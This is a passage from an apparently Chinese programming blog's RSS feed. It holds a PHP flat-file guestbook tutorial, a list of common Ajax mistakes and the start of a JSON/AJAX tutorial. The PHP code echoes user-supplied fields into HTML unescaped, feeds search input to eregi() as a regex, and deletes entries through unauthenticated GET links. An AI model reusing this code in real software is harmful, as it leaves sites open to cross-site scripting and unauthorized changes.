echo “＜center＞数据文件丢失，请联系管理员！或发布留言重新建立数据文件！＜/center＞”;//如果文件不存在显示的信息<br />
} </p>
<p>3、数据修改程序段 </p>
<p>$list=file(“gb.dat”);//读取整个gb.dat文件到数组$list,数组每一个元素为一条留言($list[0]是第一条留言的数据、$list[1]是第一条留言的数据&#8230;..<br />
$n=count($list);//计算$list内容里的留言总数,并赋予变量$n<br />
if ($n＞0){ //如果留言数大于0 </p>
<p>$fp=fopen(“gb.dat”,”w”);//则以只写模式打开文件gb.dat<br />
$gb_reply=encode($gb_reply);<br />
for ($i=0;$i＜$n;$i++) {//进入循环<br />
if(eregi($ttime,$list[$i])){//将送来发留言时间$ttime与数组单元$list里内容进行字串匹配比较<br />
$f=explode(“　”,$list[$i]);//如果找到匹配，就以”　”作为分隔符,切开留言信息$list[$i](第$i条留言),并将这些数据赋予数组$f<br />
$f[9]=$gb_reply;//将$f[9]（留言信息最后一条数据）用$gb_reply（回复内容）代替。<br />
$list[$i]=$f[0].”　”.$f[1].”　”.$f[2].”　”.$f[3].”　”.$f[4].”　”.$f[5].”　”.$f[6].”　”.$f[7].”　”.$f[8].”　”.$f[9].”\n”; //将数组单元$list[$i]的内容用数组$f加上分隔符”　”代替（其中$f[9]是修改了的新数据）。<br />
break;//跳出循环<br />
}<br />
}//循环结束符<br />
}<br />
FOR($i=0;$i＜=$n;$i++){//进入循环<br />
fwrite($fp,$list[$i]);//将数组$list的每个单元为一行，写入文件gb.dat<br />
}//循环结束符<br />
fclose($fp);//关闭文件<br />
showmessage(“回复成功!”,”index.php”);//回复成功，自动返回主界面。 </p>
<p>4、数据删除程序段 </p>
<p>$list=file(“gb.dat”);//读取整个gb.dat文件到数组$list,数组每一个元素为一条留言($list[0]是第一条留言的数据、$list[1]是第一条留言的数据&#8230;..<br />
$n=count($list);//计算$list内容里的留言总数,并赋予变量$n<br />
if ($n＞0){//如果留言数大于0<br />
$fp=fopen(“gb.dat”,”w”);//则以只写模式打开文件gb.dat<br />
for ($i=0;$i＜$n;$i++) {//进入循环<br />
if(eregi($ttime,$list[$i])){//将发送过来发留言时间$ttime与数组$list[$i]里的字串进行匹配比较<br />
$list[$i]=”";//如果匹配成功，则将$list[$i]清空（达到删除的目的）<br />
break;//跳出循环<br />
}<br />
}//循环结束符<br />
FOR($i=0;$i＜=$n;$i++){//进入循环<br />
fwrite($fp,$list[$i]);//将数组$list的每个单元为一行，写入文件gb.dat<br />
} //循环结束符<br />
fclose($fp);//关闭文件<br />
showmessage(“删除成功!”,”index.php”);//删除成功，自动返回主界面。<br />
} </p>
<p>5、数据查询程序段 </p>
<p>＜form action=”search.php” method=”post”＞<br />
＜font color=”#0099CC” size=”2&#8243;＞搜索关键字：<br />
＜input name=”found” type=”text” id=”found” style=”background-color:#FFFFFF; color:#8888AA; border: 1 double #3399CC” size=”12&#8243;＞<br />
＜input name=”submit” type=”image” src=”image/search.gif” alt=”留言搜索”＞<br />
＜/font＞＜/td＞ </p>
<p>＜/tr＞<br />
＜/table＞<br />
＜/form＞<br />
////////////////////////////////上面是搜索表单语句段<br />
＜?<br />
$id=0;<br />
$list=file(“gb.dat”);//读取整个gb.dat文件到数组$list,数组每一个元素为一条留言($list[0]是第一条留言的数据、$list[1]是第一条留言的数据&#8230;..<br />
$n=count($list);//计算$list内容里的留言总数,并赋予变量$n<br />
$found=trim($found);<br />
if (!$found){ //如果$found为假<br />
echo “＜center＞您没有输入任何关键字！＜/center＞”;//作相关显示<br />
}<br />
else {<br />
if($n＞0){//如果留言数大于0<br />
for ($i=0;$i＜$n;$i++) {//进入循环<br />
if(eregi($found,$list[$i])){//输入的关键字与数组$list[$i]里的字串进行匹配比较<br />
$row=explode(“　”,$list[$i]); $id=1; //如果找到匹配，就以”　”作为分隔符,切开留言信息$list[$i](第$i条留言),并将这些数据赋予数组$row.并将变量$id赋予1，以便作为是否找到匹配的判断。<br />
list($ip,$datetime,$name,$email,$home,$face,$qq,$head,$text,$reply)=$row;//将数组$row里的单元数据按顺序赋予括号里的变量<br />
?＞<br />
＜img src=＜? echo $head ?＞ ＞//显示客户形象图片<br />
＜br＞<br />
＜font color=”#0099CC”＞昵称【＜? echo $name ?＞＜font size=”2&#8243;＞】＜br＞//显示客户名<br />
发表于：＜? echo $datetime ?＞//显示留言发表时间<br />
＜br＞<br />
＜img src=＜? echo $face ?＞＞//显示客户留言表情图片<br />
＜? echo $name ?＞说:＜? echo $text; ?＞//显示客户留言内容<br />
＜br＞<br />
＜? echo $reply ?＞//显示回复内容<br />
＜br＞<br />
＜a href=”＜? echo $home ?＞” target=”_blank”＞访问＜? echo $name ?＞的主页＜/a＞//客户主页的超连接<br />
＜a href=”mailto:＜? echo $email ?＞”＞给＜? echo $name ?＞发信＜/a＞//客户E-MAIL的连接<br />
＜? echo $name ?＞的QQ号码是＜? echo $qq ?＞//显示客户的QQ号码<br />
＜? echo $name ?＞的IP地址为＜? echo $ip ?＞” //显示客户的IP地址<br />
＜a href=”reply.php?time=＜? echo $datetime ?＞”＞回复＜/a＞//留言回复的连接语句<br />
＜a href=”del.php?time=＜? echo $datetime ?＞”＞删除＜/a＞//留言删除的语句（以客户留言时间$datetime作为删除标识）<br />
＜br＞<br />
＜?<br />
}<br />
}//循环结束符<br />
}}<br />
if($id==0){ echo “＜center＞没有找到与关键字匹配的留言！＜/center＞”;}//如果$id＝0则表示没找到匹配，显示相关提示<br />
?＞ </p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/%E5%88%A4%E6%96%AD" title="判断" rel="tag">判断</a>, <a href="http://www.5bay.cn/tag/%E5%9B%BE%E7%89%87" title="图片" rel="tag">图片</a>, <a href="http://www.5bay.cn/tag/%E6%88%90%E5%8A%9F" title="成功" rel="tag">成功</a>, <a href="http://www.5bay.cn/tag/%E6%90%9C%E7%B4%A2" title="搜索" rel="tag">搜索</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%8E%B7%E5%8F%96" title="获取" rel="tag">获取</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8%E5%8D%95" title="表单" rel="tag">表单</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>使用Ajax时的十个常犯的错误</title>
		<link>http://www.5bay.cn/network-programming/eejaxeeeeee.html</link>
		<comments>http://www.5bay.cn/network-programming/eejaxeeeeee.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:49:05 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[JavaScript&Ajax]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[dhtml]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[http请求状态]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[status]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[web2.0]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[xmlhttp]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[图片]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[更新]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[链接]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=478</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>上个月我发现许多Web2.0网站大量运用了ajax，但是其中有些很奇怪，因为他们的速度比起前慢了，并且有时候不起作用（在移动设备上），我总结了十条用Ajax的错误（平台无关） 1、 不要通过把整个页面都放在UpdatePanel中更新整个页面。在你运行网页时需要节省时间，不要更新那些可以用javascript and DHTML (DOM)的部分。 2、 要始终记得有这么几种访问者，他们不能用JavaScript或者用的版本比较老的浏览器或者他们对JavaScript支持不好，比如说移动设备。如果这些都不支持，你的访问者能看到什么？ 3、 在客户端浏览器缓存相同的请求或者在we服务器端执行缓存。最好的例子是自动完成个下拉菜单，他们的填充在任何时刻都是相同的，一个有错误写法的自动完成的写法可以减慢你的Web服务器（数据库服务器），因为那样会有比起以前用IsPostBack更多地请求。想一下不停的按F5刷新你的网页的情形。如果你有层叠的下拉菜单你就会结算更多地请求。 4、 在你运用CSS或JavaScript时，不要运行，并发的或者运行很长时间的Ajax请求，一般的浏览器只能有两个并发的http连接（我知道可以给变这个，但是默认的还是设为两个）。如果在读取图片的时候由很多Ajax请求的话，速度会变得很慢。 5、 什么时候都用异步调用的方法发送XMLHttpRequest.。如果你要用同步的方法也是没有请问题的，你的浏览器不会因为网络问题或是连接速度慢而冻结的 6、 试着让你的web应用使用一个很慢的网络连接，再尝试用快的TCP/IP连接 7、 你的web应用是作为桌面程序的替代品？你注意观察过一般浏览器在运行你的Web应用一小时，两小时或者几天时内存的使用。不是所有人都有你那样好的机器。 8、 检查在你返回XMLHttpRequest时你的http请求状态代码（status code），那会有一些常见的网络错误像是不可获得的DNS，Http Server error 500 ，你曾经检查过状态代码（status code），它可以告诉你浏览器在一个为连接的模式 9、 试着禁止XMLHttpRequest object！用IE7你能用native object代替ActiveX object，但是你也可以禁止native object。 10、检查你AJAX requests的安全性！你简单的打开了你的数据访问层吗？充分运用FormsAuthentication和PrincipalPermissions。是不是任何人都可以建立一个请求（不只是点击一个链接）？ 相关博文2010年07月26日 -- Ajax的工作原理 (1)2010年07月26日 -- ajax的缺点 (0)2010年07月26日 -- AJAX的各种控件和类库 (0)2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)2010年05月23日 -- Rsync详解 (0)2010年07月26日 -- AJAX应用程序开发七宗罪 (0)2010年05月23日 -- 《高性能网站建设指南》读书笔记 [...]]]></description>
			<content:encoded><![CDATA[<p>上个月我发现许多Web2.0网站大量运用了ajax，但是其中有些很奇怪，因为他们的速度比起前慢了，并且有时候不起作用（在移动设备上），我总结了十条用Ajax的错误（平台无关）</p>
<p>1、 不要通过把整个页面都放在UpdatePanel中更新整个页面。在你运行网页时需要节省时间，不要更新那些可以用javascript and DHTML (DOM)的部分。</p>
<p>2、 要始终记得有这么几种访问者，他们不能用JavaScript或者用的版本比较老的浏览器或者他们对JavaScript支持不好，比如说移动设备。如果这些都不支持，你的访问者能看到什么？</p>
<p>3、 在客户端浏览器缓存相同的请求或者在we服务器端执行缓存。最好的例子是自动完成个下拉菜单，他们的填充在任何时刻都是相同的，一个有错误写法的自动完成的写法可以减慢你的Web服务器（数据库服务器），因为那样会有比起以前用IsPostBack更多地请求。想一下不停的按F5刷新你的网页的情形。如果你有层叠的下拉菜单你就会结算更多地请求。</p>
<p>4、 在你运用CSS或JavaScript时，不要运行，并发的或者运行很长时间的Ajax请求，一般的浏览器只能有两个并发的http连接（我知道可以给变这个，但是默认的还是设为两个）。如果在读取图片的时候由很多Ajax请求的话，速度会变得很慢。</p>
<p>5、 什么时候都用异步调用的方法发送XMLHttpRequest.。如果你要用同步的方法也是没有请问题的，你的浏览器不会因为网络问题或是连接速度慢而冻结的</p>
<p>6、 试着让你的web应用使用一个很慢的网络连接，再尝试用快的TCP/IP连接</p>
<p>7、 你的web应用是作为桌面程序的替代品？你注意观察过一般浏览器在运行你的Web应用一小时，两小时或者几天时内存的使用。不是所有人都有你那样好的机器。</p>
<p>8、 检查在你返回XMLHttpRequest时你的http请求状态代码（status code），那会有一些常见的网络错误像是不可获得的DNS，Http <a href="http://www.5bay.cn/tag/server" class="st_tag internal_tag" rel="tag" title="标签 server 下的日志">Server</a> error 500 ，你曾经检查过状态代码（status code），它可以告诉你浏览器在一个为连接的模式</p>
<p>9、 试着禁止XMLHttpRequest object！用IE7你能用native object代替ActiveX object，但是你也可以禁止native object。</p>
<p>10、检查你AJAX requests的安全性！你简单的打开了你的数据访问层吗？充分运用FormsAuthentication和PrincipalPermissions。是不是任何人都可以建立一个请求（不只是点击一个链接）？</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeieeeeeting.html" title="AJAX初学:IE缓存页面的问题">AJAX初学:IE缓存页面的问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeetpit.html" title="了解Ajax中的Get和Post ">了解Ajax中的Get和Post </a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/ajax" title="ajax" rel="tag">ajax</a>, <a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/tag/css" title="css" rel="tag">css</a>, <a href="http://www.5bay.cn/tag/dhtml" title="dhtml" rel="tag">dhtml</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/http%E8%AF%B7%E6%B1%82%E7%8A%B6%E6%80%81" title="http请求状态" rel="tag">http请求状态</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/javascript" title="javascript" rel="tag">javascript</a>, <a href="http://www.5bay.cn/category/network-programming/javascript-ajax" title="JavaScript&amp;Ajax" rel="tag">JavaScript&amp;Ajax</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/status" title="status" rel="tag">status</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/web20" title="web2.0" rel="tag">web2.0</a>, <a href="http://www.5bay.cn/tag/xml" title="xml" rel="tag">xml</a>, <a href="http://www.5bay.cn/tag/xmlhttp" title="xmlhttp" rel="tag">xmlhttp</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%9B%BE%E7%89%87" title="图片" rel="tag">图片</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%9B%B4%E6%96%B0" title="更新" rel="tag">更新</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%93%BE%E6%8E%A5" title="链接" rel="tag">链接</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/eejaxeeeeee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>基于JSON的高级AJAX开发技术</title>
		<link>http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html</link>
		<comments>http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:39:46 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[分离]]></category>
		<category><![CDATA[对象]]></category>
		<category><![CDATA[属性]]></category>
		<category><![CDATA[应用程序]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[自身]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[链接]]></category>
		<category><![CDATA[面向对象]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=464</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>一、 引言 　　毫无疑问，AJAX已经成为当今Web开发中一种强有力的用户交互技术，但是它的许多可能性应用仍然鲜为人知。在本文中，我们将来共同探讨如何使用JavaScript对象标志(JSON)和JSON分析器在服务器和客户端AJAX引擎之间创建复杂而强有力的JSON数据传输层。我们将详细讨论如何创建一组对象(在其它语言中经常被当作一个包)，如何把这些对象串行化为JSON以发送到服务器端，以及如何把服务器端JSON反串行化为客户端JavaScript对象。 　　提示：你可以在Douglas Crockford的网站上找到本文中使用的JSON分析器。 　　在继续阅读前，本文假定你已经掌握了JavaScript技术并且了解如何创建一个基本的AJAX引擎，并经由AJAX技术向服务器端发出请求和从服务器端接收响应。为了更好地理解本文中示例，你需要下载本文相应的源码文件。 　　二、 开始 　　为了进一步抽象我们的AJAX请求并有助于我们以后在不同的应用程序间共享AJAX引擎代码，本文使用了一个我自己创建的AJAX引擎。为了使用这个引擎，我们简单地导入三个JavaScript文件并且向一个名为AjaxUpdater的对象发出请求。然后，由该引擎来负责处理其它任务，包括把响应代理到在该请求中指定的回调方法中。下面的示例展示了我们如何使用这个引擎发出请求以及导入相关的文件： ＜script type=”text/javascript”src=”javascript/model/Ajax.js”＞＜/script＞ ＜script type=”text/javascript” src=”javascript/model/HTTP.js”＞＜/script＞ ＜script type=”text/javascript” src=”javascript/model/AjaxUpdater.js”＞＜/script＞ ＜script type=”text/javascript”＞ document.load = AjaxUpdater.Update(’GET’， URL， callback); ＜/script＞ 　　首先，让我们来讨论JavaScript对象。 三、 JavaScript对象 　　JavaScript以前经常被误解，似乎它主要用于实现客户浏览器端图形效果。其实，JavaScript是一种强有力的语言，特别当它与AJAX以及一个应用程序的服务器端相结合时;但是，即使在客户端，JavaScript也能够实现远比你预料得多的多的功能。面向对象的JavaScript就是一个示例，它能够使我们创建对象，扩展内在对象，甚至能够把我们的对象创建成包以达到更容易的管理之目的。 　　在本文示例中，我们将创建三个对象：Auto，Car和Wheel。其中，每一个都是简单的对象;在此，我们仅使用它们来展示如何创建一个基本包。 　　首先，Auto对象被声明为一个新的对象： 　　var Auto = new Object(); 　　注意，这个Auto对象将用作Car对象的父类。因此，Car对象将成为Auto对象的一个属性，只不过它被分离到另一个文件中以更易于管理(这个概念经常被用于其它面向对象的语言中，但是在JavaScript中却并不经常提起它)。下面是这个Car对象相应的代码： 　　Auto.Car = new Object(); 　　Auto.Car.color = “#fff”; 　　Auto.Car.setColor = function(_color) 　　{ 　　Auto.Car.color = _color; 　　} 　　Auto.Car.setColor(“#333&#8243;); 　　如你所见，该Car对象是Auto对象的一个子对象—这分明是一种类对象层次结构。这个对象有一个名为color的属性和一个用于设置它的方法。在此，我们把color属性设置为灰色以覆盖掉缺省的白色。当在后面我们串行化该对象时请牢记住这个事实。 　　下一个对象，Wheel，是Car的一个子对象： [...]]]></description>
			<content:encoded><![CDATA[<p>一、 引言</p>
<p>　　毫无疑问，AJAX已经成为当今Web开发中一种强有力的用户交互技术，但是它的许多可能性应用仍然鲜为人知。在本文中，我们将来共同探讨如何使用JavaScript对象标志(JSON)和JSON分析器在服务器和客户端AJAX引擎之间创建复杂而强有力的JSON数据传输层。我们将详细讨论如何创建一组对象(在其它语言中经常被当作一个包)，如何把这些对象串行化为JSON以发送到服务器端，以及如何把服务器端JSON反串行化为客户端JavaScript对象。</p>
<p>　　提示：你可以在Douglas Crockford的网站上找到本文中使用的JSON分析器。</p>
<p>　　在继续阅读前，本文假定你已经掌握了JavaScript技术并且了解如何创建一个基本的AJAX引擎，并经由AJAX技术向服务器端发出请求和从服务器端接收响应。为了更好地理解本文中示例，你需要下载本文相应的源码文件。<span id="more-464"></span></p>
<p>　　二、 开始</p>
<p>　　为了进一步抽象我们的AJAX请求并有助于我们以后在不同的应用程序间共享AJAX引擎代码，本文使用了一个我自己创建的AJAX引擎。为了使用这个引擎，我们简单地导入三个JavaScript文件并且向一个名为AjaxUpdater的对象发出请求。然后，由该引擎来负责处理其它任务，包括把响应代理到在该请求中指定的回调方法中。下面的示例展示了我们如何使用这个引擎发出请求以及导入相关的文件：</p>
<p>＜script type=”text/javascript”src=”javascript/model/Ajax.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/HTTP.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/AjaxUpdater.js”＞＜/script＞<br />
＜script type=”text/javascript”＞<br />
document.load = AjaxUpdater.Update(’GET’， <a href="http://www.5bay.cn/tag/url" class="st_tag internal_tag" rel="tag" title="标签 url 下的日志">URL</a>， callback);<br />
＜/script＞ </p>
<p>　　首先，让我们来讨论JavaScript对象。</p>
<p>三、 JavaScript对象 </p>
<p>　　JavaScript以前经常被误解，似乎它主要用于实现客户浏览器端图形效果。其实，JavaScript是一种强有力的语言，特别当它与AJAX以及一个应用程序的服务器端相结合时;但是，即使在客户端，JavaScript也能够实现远比你预料得多的多的功能。面向对象的JavaScript就是一个示例，它能够使我们创建对象，扩展内在对象，甚至能够把我们的对象创建成包以达到更容易的管理之目的。</p>
<p>　　在本文示例中，我们将创建三个对象：Auto，Car和Wheel。其中，每一个都是简单的对象;在此，我们仅使用它们来展示如何创建一个基本包。</p>
<p>　　首先，Auto对象被声明为一个新的对象：</p>
<p>　　var Auto = new Object(); </p>
<p>　　注意，这个Auto对象将用作Car对象的父类。因此，Car对象将成为Auto对象的一个属性，只不过它被分离到另一个文件中以更易于管理(这个概念经常被用于其它面向对象的语言中，但是在JavaScript中却并不经常提起它)。下面是这个Car对象相应的代码：</p>
<p>　　Auto.Car = new Object();<br />
　　Auto.Car.color = “#fff”;<br />
　　Auto.Car.setColor = function(_color)<br />
　　{<br />
　　Auto.Car.color = _color;<br />
　　}<br />
　　Auto.Car.setColor(“#333&#8243;); </p>
